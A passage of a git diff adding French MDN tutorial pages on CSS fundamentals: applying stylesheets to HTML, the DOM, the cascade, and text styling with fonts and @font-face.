Dans un premier temps on appelle donc toujours le fichier demo.css, ainsi la page affiche un texte bleu sur un fond blanc. Mais pour des raisons spécifiques, il se trouve que pour cette page on préfère un texte rouge. On va alors coupler ces deux méthodes :

+ +
    +
  1. Comme d'habitude on lie en premier notre feuille de style grâce à la balise link.
    2. +
  2. Grâce à la cascade, chaque style s'applique l'un après l'autre.
    3. +
  3. Puis avec une balise style, on annule le texte bleu défini par color sur une seule page du site.
    4. +
+ +

Voici le code du fichier demo.css :

+ +
/* demo.css */
+body {
+    background:white;
+    color:blue;
+}
+
+ +

On comprend que tout le texte de la page doit être en bleu sur un fond blanc. Voici maintenant le document HTML :

+ +
<!DOCTYPE html>
+<html>
+<head>
+    <title>La fameuse page « Hello World »</title>
+    <link rel="stylesheet" href="demo.css">
+
+    <style type="text/css">
+        body {
+            color:red;
+        }
+    </style>
+
+</head>
+  <body>
+    <p>Hello world!</p>
+  </body>
+</html>
+ +

On appelle d'abord la feuille de style de façon à obtenir le fond blanc et un texte bleu. Ensuite, pour cette page seulement, on ignore le formatage du texte en bleu pour le remplacer par la couleur rouge à l'aide de la balise <style>  (demo.css continue néanmoins de gérer tous les autres styles).

+ +

Prochaines étapes

+ +

Maintenant que vous savez comment appliquer des styles CSS à un document HTML, deux options s'offrent à vous :

+ + diff --git a/files/fr/conflicting/learn/css/first_steps/how_css_works_cdccf923f6bd040e8d243ee03d223ddc/index.html b/files/fr/conflicting/learn/css/first_steps/how_css_works_cdccf923f6bd040e8d243ee03d223ddc/index.html new file mode 100644 index 0000000000..aa08f6ffea --- /dev/null +++ b/files/fr/conflicting/learn/css/first_steps/how_css_works_cdccf923f6bd040e8d243ee03d223ddc/index.html @@ -0,0 +1,122 @@ +--- +title: Fonctionnement de CSS +slug: CSS/Premiers_pas/Fonctionnement_de_CSS +tags: + - CSS + - 'CSS:Premiers_pas' +translation_of: Learn/CSS/First_steps/How_CSS_works +translation_of_original: Web/Guide/CSS/Getting_started/How_CSS_works +--- +

 

+ +

Cette page explique comment CSS fonctionne dans votre navigateur. Vous analyserez votre document de démonstration, révélant les détails de son style.

+ +

Information : fonctionnement de CSS

+ +

Lorsque Mozilla affiche un document, il doit combiner le contenu du document avec ses informations de style. Ainsi, il traite le document en deux étapes :

+ + + + + +

Un langage de balisage utilise des balises pour définir la structure du document. Un élément peut en contenir d'autres, entre sa balise de début et sa balise de fin.

+ +

Un DOM a une structure sous forme d'arbre. Chaque balise et morceau de texte figurant dans le langage de balisage devient unnœud dans la structure arborescente. Les nœuds DOM n'en contiennent pas d'autres, au lieu de cela ils peuvent êtreparents de nœudsenfants .

+ +

Les nœuds correspondant à des balises sont aussi appeléséléments .

+ + + + + + + + +
Exemple
Dans votre document exemple, la balise <P> et sa balise de fermeture </P> forment un conteneur : +
+ 
+<P>
+  <STRONG>C</STRONG>ascading
+  <STRONG>S</STRONG>tyle
+  <STRONG>S</STRONG>heets
+</P>
+
+
+ +

Dans le DOM, le nœud P correspondant est un parent. Ses enfants sont les nœuds STRONG et les nœuds de texte. Les nœuds STRONG sont eux-mêmes parents, avec des nœuds de texte comme enfants :

+ +
+

P ├─STRONG │ │ │ └─"C" │ ├─"ascading" │ ├─STRONG │ │ │ └─"S" │ ├─"tyle" │ ├─STRONG │ │ │ └─"S" │ └─"heets"

+
+
+ +

La compréhension du DOM aide à créer, déboguer et maintenir votre CSS, car le DOM est l'endroit où CSS et le document se rencontrent.

+ +

Action : Analyse d'un DOM

+ +

Pour analyser un DOM, il est nécessaire d'utiliser un logiciel spécial. Ici, nous utiliserons l'Inspecteur DOM (DOMi) de Mozilla pour analyser un DOM.

+ +

Utilisez votre navigateur Mozilla pour ouvrir votre document exemple.

+ +

Depuis la barre de menu de votre navigateur, choisissez Outils – Inspecteur DOM, ou éventuellement Outils – Développement Web – Inspecteur DOM.

+ + + + + + + + +
Plus de détails
Si votre navigateur Mozilla n'a pas de DOMi, vous pouvez réinstaller votre navigateur en vérifiant que vous installez le composant Outils de développement. Revenez ensuite à ce tutoriel. +

Si vous ne désirez pas installer le DOMi, vous pouvez passer cette section et vous rendre directement à la page suivante. Cette section peut être passée sans problème pour comprendre le reste du tutoriel.

+
+ +


+ Dans le DOMi, dépliez les nœuds de votre document en cliquant sur leurs flèches.

+ +

Note :  Les espaces dans votre fichier HTML font que le DOMi affichera certains nœuds de texte vides, que vous pouvez ignorer.

+ +

Le résultat peut ressembler à ceci, selon les nœuds que vous avez dépliés :

+ + + + + + + +
+
+

│ ▼╴P │ │ │ ▼╴STRONG │ │ └#text │ ├╴#text │ ▶╴STRONG │ │

+
+
+ +

Lorsque vous sélectionnez un nœud, vous pouvez utiliser le panneau de droite du DOMi pour en savoir plus sur celui-ci. Par exemple, lorsque vous sélectionnez un nœud de texte, DOMi affichera son texte dans le panneau de droite.

+ +

Lorsque vous sélectionnez un nœud d'élément, DOMi l'analyse et fournit une grande quantité d'informations dans le panneau de droite. Les informations de style sont juste une petite partie de ce qui peut y être affiché.

+ +

 

+ + + + + + + + +
Challenge
Dans le DOMi, cliquez sur un nœud STRONG. +

Utilisez le panneau de droite pour découvrir à quel endroit la couleur du nœud est mise en rouge, et à quel endroit son apparence est rendue plus grasse que le texte normal.

+
+ +

 

+ +

Pour continuer

+ +

Si vous avez des difficultés à comprendre cette page, ou si vous avez des commentaires, contribuez à sa page de discussion.

+ +

Si vous avez relevé le challenge, vous avez vu que les informations de style venant de plusieurs endroits interagissent pour créer le style final d'un élément.

+ +

La page suivante explique plus en détails ces interactions : Cascade et héritage.

diff --git a/files/fr/conflicting/learn/css/first_steps/how_css_works_cf31463f874ecd8e10e648dacde4a995/index.html b/files/fr/conflicting/learn/css/first_steps/how_css_works_cf31463f874ecd8e10e648dacde4a995/index.html new file mode 100644 index 0000000000..e0b9c64a2e --- /dev/null +++ b/files/fr/conflicting/learn/css/first_steps/how_css_works_cf31463f874ecd8e10e648dacde4a995/index.html @@ -0,0 +1,75 @@ +--- +title: Appliquer du CSS à une page web +slug: Apprendre/HTML/Comment/Appliquer_du_CSS_à_une_page_web +tags: + - Beginner + - CSS + - Guide + - HTML +translation_of: Learn/CSS/Introduction_to_CSS/How_CSS_works#How_to_apply_your_CSS_to_your_HTML +translation_of_original: Learn/HTML/Howto/Use_CSS_within_a_webpage +--- +
+

Le code HTML d'une page web définit sa signification et sa structure. Le code CSS, quant à lui, permet de définir la mise en forme d'une page. Dans cet article, nous verrons comment appliquer du code CSS à un document HTML.

+
+ + + + + + + + + + + + +
Prérequis :Vous devriez au préalable savoir comment créer un document HTML simple.
Objectifs :Apprendre comment appliquer une mise en forme CSS à un document HTML.
+ +

À propos de CSS

+ +

Un document HTML bien écrit peut être utilisé quel que soit le contexte de présentation. Il est possible de le consulter visuellement (avec un navigateur), auditivement (avec un lecteur d'écran) ou tactilement (avec un affichage Braille). {{glossary("CSS")}} permet de contrôler l'aspect visuel d'un site web. Le navigateur pourra utiliser une feuille de style CSS par défaut, qui se traduira par une mise en forme générique (voire un peu austère) et il est donc préférable de déclarer une mise en forme propre à votre site web afin que celui-ci soit plus agréable à consulter.

+ +

Dans cet article, nous verrons comment appliquer du CSS depuis le code HTML. Pour apprendre le fonctionnement du langage CSS, nous vous conseillons de démarrer avec notre guide CSS.

+ +

Nous présenterons comment faire référence à une feuille de style CSS externe depuis le document HTML. Cette méthode est généralement la meilleure qui permette d'appliquer du CSS. En effet, une feuille de style centralisée permet d'avoir une mise en forme cohérente sur l'ensemble du site, de faciliter la maintenance du code et d'éviter de télécharger plusieurs ressources. Ceci étant dit, nous présenterons également deux autres méthodes ainsi que leurs avantages et inconvénients.

+ +

Référencer une feuille de style externe

+ +

Une feuille de style est un simple fichier texte contenant les règles CSS. Vous pouvez donc écrire une feuille de style avec votre éditeur de texte (de la même façon que vous pouvez rédiger un document HTML ou du code JavaScript). Une fois que vous avez écrit votre feuille de style, vous pouvez y faire référence depuis vos pages web grâce à un élément {{HTMLElement('link')}} :

+ +
<link href="styles/style.css" rel="stylesheet">
+ +

Il vous suffit de modifier l'URL de l'attribut href pour que celui-ci pointe vers votre feuille de style. L'attribut rel="stylesheet" et sa valeur sont nécessaires car l'élément  {{HTMLElement('link')}} peut être utilisé dans d'autres cas. Tous les éléments {{htmlelement("link")}} doivent être placés au sein de l'élément {{HTMLElement('head')}} du document.

+ +

Intégrer du CSS avec <style>

+ +

L'élément {{htmlelement("style")}} permet d'écrire du CSS directement au sein du document HTML :

+ +
<style>
+body {
+  background-color: pink;
+}
+</style>
+ +
+

Note : N'utilisez cette méthode que lorsqu'une page web doit être mise en forme de façon unique. Sinon, il est préférable d'utiliser une feuille de style unique pour économiser de la bande passante et avoir une mise en forme cohérente sur l'ensemble du site.

+
+ +

Écrire du CSS inline avec l'attribut style

+ +

Enfin, vous pouvez utiliser l'attribut style dans n'importe quel élément HTML. Le style ne s'appliquera qu'à l'élément courant :

+ +
<span style="color: red;">Non, tout mais pas ça !</span>
+ +
+

Attention : Cette méthode est un cauchemar de maintenance et peut grandement influencer la cascade CSS. Elle ne doit donc pas être utilisée, sauf pour tester rapidement quelques scénarios extrêmes (par exemple, lors de la conception d'e-mails en HTML à destination de clients e-mail qui s'avèreraient récalcitrants).

+
+ +

En savoir plus

+ + diff --git a/files/fr/conflicting/learn/css/first_steps/how_css_works_dba75d8c56ccc773f03d946ce2dbb25c/index.html b/files/fr/conflicting/learn/css/first_steps/how_css_works_dba75d8c56ccc773f03d946ce2dbb25c/index.html new file mode 100644 index 0000000000..1782164624 --- /dev/null +++ b/files/fr/conflicting/learn/css/first_steps/how_css_works_dba75d8c56ccc773f03d946ce2dbb25c/index.html @@ -0,0 +1,126 @@ +--- +title: Présentation des CSS +slug: CSS/Premiers_pas/Présentation_des_CSS +tags: + - CSS + - 'CSS:Premiers_pas' +translation_of: Learn/CSS/First_steps/How_CSS_works +translation_of_original: Web/Guide/CSS/Getting_started/What_is_CSS +--- +

+{{previousPage("/fr/docs/CSS/Premiers_pas", "Premiers pas")}} +Cette page explique ce que sont les CSS. Vous y créerez un document simple avec lequel vous travaillerez au fil des pages suivantes.

+

Information : CSS, ce dont il s'agit

+

CSS est un langage permettant de spécifier comment les documents sont présentés à l'utilisateur.

+

Un + + document + est une collection d'informations structurées à l'aide d'un + + langage de balisage + (markup language).

+ + + + + + + +
+ Exemples
+
    +
  • Une page Web comme celle-ci est un document.
    + Les informations que vous voyez dans une page Web sont généralement structurées à l'aide du langage HTML (HyperText Markup Language).
    • +
+
    +
  • Un dialogue dans une application Mozilla est un document.
    + Les contrôles de l'interface utilisateur visibles dans un dialogue de Mozilla sont structurés à l'aide du langage de balisage XUL (XML User-interface Language).
    • +
+
+

Dans ce tutoriel, des boîtes nommées Détails supplémentaires comme celle ci-dessous contiennent des informations optionnelles. Si vous êtes pressé(e) d'avancer dans le tutoriel, vous pouvez passer ces boîtes, pour éventuellement revenir les lire plus tard. Sinon, lisez-les au fil de votre parcours, et suivez les liens pour en savoir plus.

+ + + + + + + +
+ Détails supplémentaires
+

Un document n'est pas la même chose qu'un fichier. Il peut ou non être stocké dans un fichier.

+

Par exemple, le document que vous êtes en train de lire n'est pas stocké dans un fichier. Lorsque votre navigateur Web demande cette page, le serveur interroge une base de données et génère le document, assemblant les différentes parties depuis de nombreux fichiers. Cependant, dans ce tutoriel, vous travaillerez avec des documents stockés dans des fichiers.

+

Pour plus d'informations à propos des documents et des langages de balisage, consultez les autres parties de ce site, par exemple :

+ + + + + + + + + + + + + + + + + + + +
HTMLpour les pages Web
XMLpour les documents structurés en général
SVGpour les documents graphiques
XULpour les interfaces utilisateur dans Mozilla
+

Dans la partie II de ce tutoriel, vous verrez des exemples de ces langages de balisage.

+
+

+ + Présenter + un document à l'utilisateur signifie le convertir dans une forme utilisable par un être humain. Mozilla est conçu pour présenter des documents visuellement, par exemple sur un écran d'ordinateur, un projecteur ou une imprimante.

+ + + + + + + +
+ Détails supplémentaires
CSS ne sert pas uniquement aux navigateurs, ni pour des présentations visuelles. Dans la terminologie formelle CSS, le programme présentant un document à l'utilisateur est appelé + + agent utilisateur + (user agent ou UA). Un navigateur est simplement une sorte d'UA. Cependant, dans la partie I de ce tutoriel, vous travaillerez uniquement avec CSS dans un navigateur. +

Pour les définitions formelles de la terminologie liée à CSS, voir Définitions dans la spécification CSS.

+
+

Action : création d'un document

+

Utilisez votre ordinateur pour créer un nouveau dossier et un nouveau fichier texte à l'intérieur de celui-ci. Ce fichier contiendra votre document.

+

Copiez et collez le HTML affiché ci-dessous. Enregistrez le fichier sous le nom doc1.html

+
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+  <head>
+  <title>Document de démonstration</title>
+  <meta http-equiv="Content-Type" content="text/html;
+  charset=iso-8859-1">
+  </head>
+  <body>
+    <p>
+      <strong>C</strong>ascading
+      <strong>S</strong>tyle
+      <strong>S</strong>heets
+    </p>
+  </body>
+</html>
+
+

Dans votre navigateur, ouvrez un nouvel onglet ou une nouvelle fenêtre, et ouvrez-y le fichier.

+

Vous devriez voir le texte avec les lettres initales en gras, comme ceci :

+ + + + + + +
Cascading Style Sheets
+

Ce que vous voyez dans votre navigateur peut ne pas apparaître exactement comme cela, suivant les paramètres de votre navigateur et de ce wiki. S'il y a certaines différences dans la police, l'espacement et les couleurs, elles ne sont pas importantes.

+

Pour continuer

+

+{{nextPage("/fr/docs/CSS/Premiers_pas/Pourquoi_utiliser_CSS", "Pourquoi utiliser CSS")}} +Votre document n'utilise pas encore CSS. Sur la page suivante, vous utiliserez CSS pour spécifier son propre style : Pourquoi utiliser CSS.

diff --git a/files/fr/conflicting/learn/css/first_steps/how_css_works_ecbda2160290b96c02dcfa8276c0333a/index.html b/files/fr/conflicting/learn/css/first_steps/how_css_works_ecbda2160290b96c02dcfa8276c0333a/index.html new file mode 100644 index 0000000000..682482eefb --- /dev/null +++ b/files/fr/conflicting/learn/css/first_steps/how_css_works_ecbda2160290b96c02dcfa8276c0333a/index.html @@ -0,0 +1,98 @@ +--- +title: Pourquoi utiliser CSS +slug: CSS/Premiers_pas/Pourquoi_utiliser_CSS +tags: + - CSS + - 'CSS:Premiers_pas' +translation_of: Learn/CSS/First_steps/How_CSS_works +translation_of_original: Web/Guide/CSS/Getting_started/Why_use_CSS +--- +

 

+

Cette page explique pourquoi les documents utilisent CSS. Vous utiliserez CSS pour ajouter une feuille de style à votre document de démonstration.

+

Information : utilité de CSS

+

CSS vous aide à garder l'information contenue dans votre document séparée des détails de sa présentation. Ces détails de présentation d'un document sont appelés son + + style + . La séparation du style et du contenu permet :

+ + + + + + + + +
+ Exemple
Votre site Web peut avoir des milliers de pages qui ont un aspect similaire. Avec CSS, vous conservez les informations de style dans des fichiers communs partagés par toutes les pages. +

Lorsqu'un visiteur affiche une page, son navigateur charge les informations de style en même temps que le contenu de la page.

+

Lorsqu'il imprime une page, vous fournissez des informations de style différentes qui rendent la page imprimée facile à lire.

+
+

En général, avec, CSS, vous utilisez le langage de balisage pour décrire les informations contenues dans le document, et non son style. CSS est utilisé pour spécifier son style et non son contenu. (Plus loin dans ce tutoriel, vous verrez qu'il peut y avoir certaines exceptions à cet arrangement.)

+ + + + + + + +
+ Plus de détails
Un langage de balisage comme HTML fournit également certaines manières de préciser un style. +

Par exemple, en HTML, il est possible d'utiliser une balise <B> pour rendre du texte gras, ou de spécifier la couleur de fond d'une page dans sa balise <BODY>.

+

Lorsqu'on utilise CSS, on évite généralement d'utiliser ces possibilités du langage de balisage afin que toutes les informations de style du document se retrouvent à la même place.

+
+

Action : création d'une feuille de style

+

Créez un autre fichier texte dans le même dossier que précédemment. Ce fichier sera votre feuille de style. Appelez-le : style1.css

+

Dans votre fichier CSS, copiez et collez cette simple ligne, puis enregistrez le fichier :

+
+ 
strong {color: red;}
+
+
+

Lier votre document à votre feuille de style

+

Pour lier votre document à votre feuille de style, éditez votre fichier HTML. Ajoutez la ligne montrée ici en gras :

+
+ 
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+  <head>
+  <meta http-equiv="Content-Type" content="text/html;
+  charset=iso-8859-1">
+  <title>Sample document</title>
+  <link rel="stylesheet" type="text/css" href="style1.css">
+  </head>
+  <body>
+    <p>
+      <strong>C</strong>ascading
+      <strong>S</strong>tyle
+      <strong>S</strong>heets
+    </p>
+  </body>
+</html>
+
+
+

Enregistrez le fichier et actualisez l'affichage de votre navigateur. La feuille de style rend les lettres initiales rouges, comme ceci :

+ + + + + + +
Cascading Style Sheets
+ + + + + + + +
+ Challenge
En plus du rouge (red), CSS permet d'utiliser d'autres noms de couleurs. +

Sans regarder dans une référence, trouvez cinq autres noms de couleurs qui fonctionnent dans votre feuille de style.

+
+

Pour continuer

+

Si vous avez des difficultés à comprendre cette page, ou si vous avez des commentaires, contribuez à sa page de discussion.

+

Maintenant que vous avez un document lié à une feuille de style séparée, vous pouvez en apprendre plus sur la manière dont votre navigateur les combine lors de l'affichage du document : Fonctionnement de CSS.

+

 

diff --git a/files/fr/conflicting/learn/css/first_steps/index.html b/files/fr/conflicting/learn/css/first_steps/index.html new file mode 100644 index 0000000000..5a802a6899 --- /dev/null +++ b/files/fr/conflicting/learn/css/first_steps/index.html @@ -0,0 +1,60 @@ +--- +title: Premiers pas +slug: CSS/Premiers_pas +tags: + - CSS + - 'CSS:Premiers_pas' +translation_of: Learn/CSS/First_steps +translation_of_original: Web/Guide/CSS/Getting_started +--- +

Introduction

+ +

Ce tutoriel est une introduction basique aux feuilles de styles en cascades (CSS).

+ +

Il vous guidera à travers les fonctions de base des CSS grâce à des exemples pratiques que vous pourrez tester par vous-même sur votre ordinateur. Il est divisé en deux parties :

+ + + + + +

Ce tutoriel est basé sur les spécifications CSS 2.1.

+ +

À qui est destiné ce tutoriel ?

+ +

Ce tutoriel est surtout destiné à ceux qui débutent en CSS, mais vous pouvez aussi vous en servir si vous avez déjà quelques notions.

+ +

Si vous êtes un débutant, lisez d'abord la partie I pour comprendre les CSS et apprendre comment les utiliser. Puis lisez la partie II pour comprendre la « portée » des CSS dans Mozilla.

+ +

Si vous avez déjà quelques notions, vous pouvez sauter les parties de ce tutoriel que vous connaissez déjà, et lire seulement celles qui vous intéressent.

+ +

Si vous maîtrisez déjà les CSS hormis les propriétés particulières à Mozilla, passez directement à la partie II.

+ +

Avant de commencer

+ +

Pour que ce tutoriel soit vraiment bénéfique, vous avez besoin d'un éditeur de fichier texte et un navigateur Mozilla (Firefox ou la suite Mozilla). Vous devez aussi savoir un minimum comment les utiliser.

+ +

Si vous ne souhaitez pas éditer de fichier, vous pouvez simplement lire le tutoriel et regarder les images, mais votre apprentissage sera moins performant.

+ +

Quelques passages de ce tutoriel peuvent exiger l'utilisation d'un autre logiciel de la fondation Mozilla. Ces passages sont optionnels. Si vous ne souhaitez pas télécharger d'autres logiciels, sautez ces passages.

+ +

Tutoriel partie I

+ +

Un guide de base, étape par étape pour CSS.

+ + + +

Tutoriel partie II

+ +

Exemples montrant la portée des CSS dans Mozilla.

+ +
    +
  1. JavaScript
    2. +
  2. Liaisons XBL
    3. +
  3. Interfaces utilisateur XUL
    4. +
  4. Graphiques SVG
    5. +
  5. Données XML
    6. +
diff --git a/files/fr/conflicting/learn/css/styling_text/fundamentals/index.html b/files/fr/conflicting/learn/css/styling_text/fundamentals/index.html new file mode 100644 index 0000000000..67864f3b97 --- /dev/null +++ b/files/fr/conflicting/learn/css/styling_text/fundamentals/index.html @@ -0,0 +1,330 @@ +--- +title: Mettre en forme du texte +slug: Apprendre/CSS/Comment/Mettre_en_forme_du_texte +tags: + - Apprendre + - CSS + - Débutant +translation_of: Learn/CSS/Styling_text/Fundamentals +translation_of_original: Learn/CSS/Howto/style_text +--- +

La mise en forme du texte est au cœur de CSS. Celui-ci fournit de nombreuses propriétés permettant de modifier l'apparence du texte. En quelque sorte, CSS est le prolongement, sur le Web, de la typographie qui existe depuis plusieurs siècles.

+ +

La mise en forme du texte se décline sur deux composantes : la police et la disposition du texte. Ces deux éléments sont des bases, abordées parmi les premiers concepts qu'on voit en CSS. Toutefois, la mise en forme du texte est plus subtile qu'il n'y paraît. Dans cet article, nous détaillerons les différentes possibilités offertes par CSS. Libre à vous de choisir ce dont vous avez besoin ou ce sur quoi vous souhaitez expérimenter.

+ +

La mise en forme simple

+ +

Les polices de texte peuvent être modifiées et adaptées grâce à ces propriétés CSS :

+ + + +

CSS fournit également des unités dédiées aux polices et des outils pour le texte sélectionné :

+ + + +

Les propriétés les plus fréquemment utilisées peuvent être manipulées grâce à la propriété raccourcie {{cssxref("font")}}. Celle-ci se décompose (dans l'ordre) en : {{cssxref("font-style")}}, {{cssxref("font-variant")}}, {{cssxref("font-weight")}}, {{cssxref("font-stretch")}}, {{cssxref("font-size")}}, {{cssxref("line-height")}}, et {{cssxref("font-family")}}. Parmi toutes ces propriétés, seules font-size et font-family sont obligatoires pour cette notation raccourcie.

+ +

Prenons un exemple pour illustrer ce point.

+ +

Voici le fragment de code HTML qu'on utilisera :

+ +
<p>
+  He dressed himself "all in his best," and at last got out into the streets.
+  The people were by this time pouring forth, as he had seen them with the
+  Ghost of Christmas Present; and walking with his hands behind him, Scrooge
+  regarded every one with a delighted smile. He looked so irresistibly pleasant,
+  in a word, that three or four good-humoured fellows said, "Good morning, sir!
+  A merry Christmas to you!" And Scrooge said often afterwards, that of all the
+  blithe sounds he had ever heard, those were the blithest in his ears.
+</p>
+<p class="fancy">
+  He dressed himself "all in his best," and at last got out into the streets.
+  The people were by this time pouring forth, as he had seen them with the
+  Ghost of Christmas Present; and walking with his hands behind him, Scrooge
+  regarded every one with a delighted smile. He looked so irresistibly pleasant,
+  in a word, that three or four good-humoured fellows said, "Good morning, sir!
+  A merry Christmas to you!" And Scrooge said often afterwards, that of all the
+  blithe sounds he had ever heard, those were the blithest in his ears.
+</p>
+ +

Et voilà la feuille de style CSS qu'on appliquera :

+ +
/* Voici un disposition simple pour que
+   les paragraphes soient côte à côte. */
+p {
+  box-sizing: border-box;
+  width     : 50%;
+  padding   : 1em;
+  float     : left;
+}
+
+.fancy {
+  font: 0.85rem/150% Helvetica, Arial, sans-serif;
+}
+
+.fancy::first-line {
+  font-variant: small-caps;
+}
+
+.fancy::first-letter {
+  font-family: serif;
+  font-size  : 3rem;
+
+  float      : left;
+  background : blanchedalmond;
+  color      : goldenrod;
+  border     : 0.5rem solid gold;
+  padding    : 1rem;
+  margin     : 0 0.5rem 0 0;
+}
+ +

Ces deux éléments permettront d'aboutir au résultat suivant :

+ +

{{EmbedLiveSample('La_mise_en_forme_simple', '100%', '320')}}

+ +
+

Note : Les styles de police vous permettent de faire de nombreuses choses. Toutefois, le Web reste un média principalement basé sur le texte et les polices ont donc leur importance. Nous vous encourageons donc à utiliser les mécanismes offerts par CSS pour améliorer la lisibilité du texte. Pour cela, vous pouvez consulter les différentes règles typographiques recommandées pour le Web.

+
+ +

Paramètres avancées des polices d'écriture

+ +

CSS fournit des propriétés, encore plus avancées, dédiées aux polices d'écriture. Cependant, ces propriétés sont toujours expérimentales et parfois mal supportées par certains navigateurs ou spécifiques à certaines langues (généralement les langues non latines) :

+ + + +

Appliquer des fontes

+ +

Il existe des milliers de polices, quelques unes sont très connues mais on peut s'y perdre rapidement. La typographie, l'art des polices ne sont pas nouveaux, cela dit, le Web apporte son lot de contraintes spécifiques et les fontes ne sont parfois pas aussi adaptées que sur le papier. Voyons ici comment gérer cela.

+ +

La propriété {{cssxref("font-family")}} vous permet de choisir la police de caractères que vous souhaitez appliquer à votre texte. Cette propriété fonctionne avec une valeur qui s'écrit sous la forme d'une liste de noms de polices, chacun séparé par des virgules. Le navigateur parcourera les polices de gauche à droite afin d'utiliser celle qui est disponible sur la machine.

+ +
body {
+  /* Si la police "Open Sans" est disponible, c'est
+     celle-ci qui serait utilisée pour mettre en forme
+     le texte. Sinon, ce sera la police Arial qui sera
+     utilisée et enfin, si Arial n'est pas disponible,
+     ce sera la police sans-serif disponible, par défaut
+     sur le système, qui sera utilisée. */
+  font-family: "Open Sans", Arial, sans-serif;
+}
+ +

Les polices par défaut

+ +

Tout d'abord, CSS définit cinq noms de polices génériques : serif, sans-serif, monospace, cursive, et fantasy. Celles-ci sont choisies par le navigateur selon le système d'exploitation utilisé (il est possible que les différents navigateurs choisissent des polices différentes). C'est en quelque sorte les polices de dernier recours à utiliser. Les polices désignées par serif, sans-serif et monospace devraient être assez prévisibles. En revanche, celles désignées par cursive et fantasy sont moins prévisibles et nous vous conseillons donc de les utiliser avec précaution.

+ +
+

Note : On ne peut jamais être sûr à 100% des polices disponibles sur un ordinateur, aussi, c'est une bonne pratique que de toujours ajouter une police générique en dernier dans la liste des valeurs pour la propriété font-family.

+
+ +

Les polices adaptées au Web

+ +

Les polices génériques sont convenables mais imprévisibles. La plupart du temps, on souhaite mieux contrôler la police qui sera utilisée pour afficher le contenu textuel. On a vu juste avant qu'il était impossible de déterminer à coup sûr les polices disponibles sur un système. Toutefois, on peut s'aider de statistiques pour parier sur différentes polices fréquemment utilisées. Parmi les différents systèmes d'exploitation courants (Windows, Mac, certaines distribution Linux grand public, Android, et iOS), il existe un ensemble de polices largement répandues. Ces polices sont parfois appelées « web fonts » car elles peuvent être utilisées sans trop de risque sur le Web.

+ +

Bien entendu, les systèmes d'exploitation évoluent et la liste des web fonts peut évoluer au cour du temps. Cependant, à l'heure où nous écrivons ces lignes, on peut considérer que les polices suivantes sont largement répandues (notamment grâce à l'initiative Core fonts for the Web de Microsoft à la fin des années 90) :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NomType génériqueNotes
Arialsans-serifOn considère généralement qu'il est préférable d'ajouter également Helvetica devant Arial. En effet, les polices sont presque identiques et bien qu'Arial soit plus répandue, Helvetica est plus appréciée (en termes de forme).
Courier NewmonospaceCertains systèmes d'exploitation disposent d'une autre version (potentiellement plus ancienne), appelée Courier. C'est une bonne pratique d'utiliser les deux tout en favorisant Courier New dans l'ordre des priorités.
Georgiaserif 
Times New RomanserifCertains systèmes d'exploitation disposent d'une autre version (potentiellement plus ancienne), appelée Times. C'est une bonne pratique d'utiliser les deux tout en favorisant Times New Roman dans l'ordre des priorités.
Trebuchet MSserifAttention, celle-ci n'est pas fortement répandue sur les systèmes d'exploitation mobiles.
Verdanasans-serif 
+ +
+

Note : Parmi les différentes ressources disponibles sur le sujet, cssfontstack.com maintient une liste des web fonts disponibles sur Windows et Mac OS. Cela peut vous aider à décider les polices à utiliser pour votre site.

+
+ +

Les polices personnalisées

+ +

Enfin, si vous souhaitez utiliser votre propre police sur votre site web, la meilleur façon reste d'intégrer cette police dans votre site web.

+ +
+

Attention : les polices sont sujettes au droit d'auteur (copyright) et vous devez donc vérifier, avant de les utiliser, que vous pouvez les intégrer sur votre site. Certains sites vous permettent d'en utiliser certaines gratuitement, comme Google Fonts. D'autres, vous permettent d'acheter le droit d'utiliser certaines polices comme, par exemple, fonts.com.

+
+ +

L'intégration d'une police personnalisée se fait en trois étapes :

+ +
    +
  1. Assurez-vous que la police soit disponible sur votre serveur web. Pour assurer une meilleure rétro-compatibilité, la police doit idéalement être disponible sous quatre format : +
      +
    • WOFF et WOFF2, supportés par les navigateurs modernes (WOFF2 remplacera WOFF)
      • +
    • EOT, supporté par {{Glossary("Microsoft Internet Explorer","Internet Explorer")}} avant sa version 9
      • +
    • SVG, supporté par l'ancienne version de Safari pour iOS (il est peu probable que celle-ci soit encore utilisée)
      • +
    • OTF, supporté par les anciennes versions des navigateurs par défaut Android.
      • +
    +
    2. +
  2. Utilisez la déclaration {{cssxref("@font-face")}} en utilisant les adresses des fichiers et les autres caractéristiques (comme le nom)
    3. +
  3. Utilisez le nom déclaré pour la police personnalisée dans la liste des valeurs fournies à la propriété {{cssxref("font-family")}}.
    4. +
+ +

Voici un exemple d'un telle mise en œuvre.

+ +

On utilisera ce fragment de code HTML :

+ +
<p>
+  He dressed himself "all in his best," and at last
+  got out into the streets. The people were by this
+  time pouring forth, as he had seen them with the
+  Ghost of Christmas Present; and walking with his
+  hands behind him, Scrooge regarded every one with
+  a delighted smile. He looked so irresistibly
+  pleasant, in a word, that three or four good-humoured
+  fellows said, "Good morning, sir! A merry Christmas
+  to you!" And Scrooge said often afterwards, that of
+  all the blithe sounds he had ever heard, those were
+  the blithest in his ears.
+</p>
+<p class="fancy">
+  He dressed himself "all in his best," and at last
+  got out into the streets. The people were by this
+  time pouring forth, as he had seen them with the
+  Ghost of Christmas Present; and walking with his
+  hands behind him, Scrooge regarded every one with
+  a delighted smile. He looked so irresistibly
+  pleasant, in a word, that three or four good-humoured
+  fellows said, "Good morning, sir! A merry Christmas
+  to you!" And Scrooge said often afterwards, that of
+  all the blithe sounds he had ever heard, those were
+  the blithest in his ears.
+</p>
+ +

Et on appliquera cette feuille de style CSS :

+ +
/* Une disposition simple pour voir
+   les paragraphes côte à côte. */
+p {
+  box-sizing: border-box;
+  width     : 50%;
+  padding   : 1em;
+  float     : left;
+}
+
+@font-face {
+  /* Là on définit le nom pour la police
+     personnalisé, on l'utilisera dans la
+     liste */
+  font-family:"Open Sans";
+
+  /* Ici, on liste les fichiers de police,
+     la syntaxe est détaillée ici :
+     http://blog.fontspring.com/2011/02/the-new-bulletproof-font-face-syntax/ */
+  src:url("https://developer.cdn.mozilla.net/static/fonts/OpenSans-Regular-webfont.a35546eef3ea.eot");
+  src:url("https://developer.cdn.mozilla.net/static/fonts/OpenSans-Regular-webfont.a35546eef3ea.eot?#iefix") format('embedded-opentype'),
+      url("https://developer.cdn.mozilla.net/static/fonts/OpenSans-Regular-webfont.3f642fa3ea74.woff2") format('woff2'),
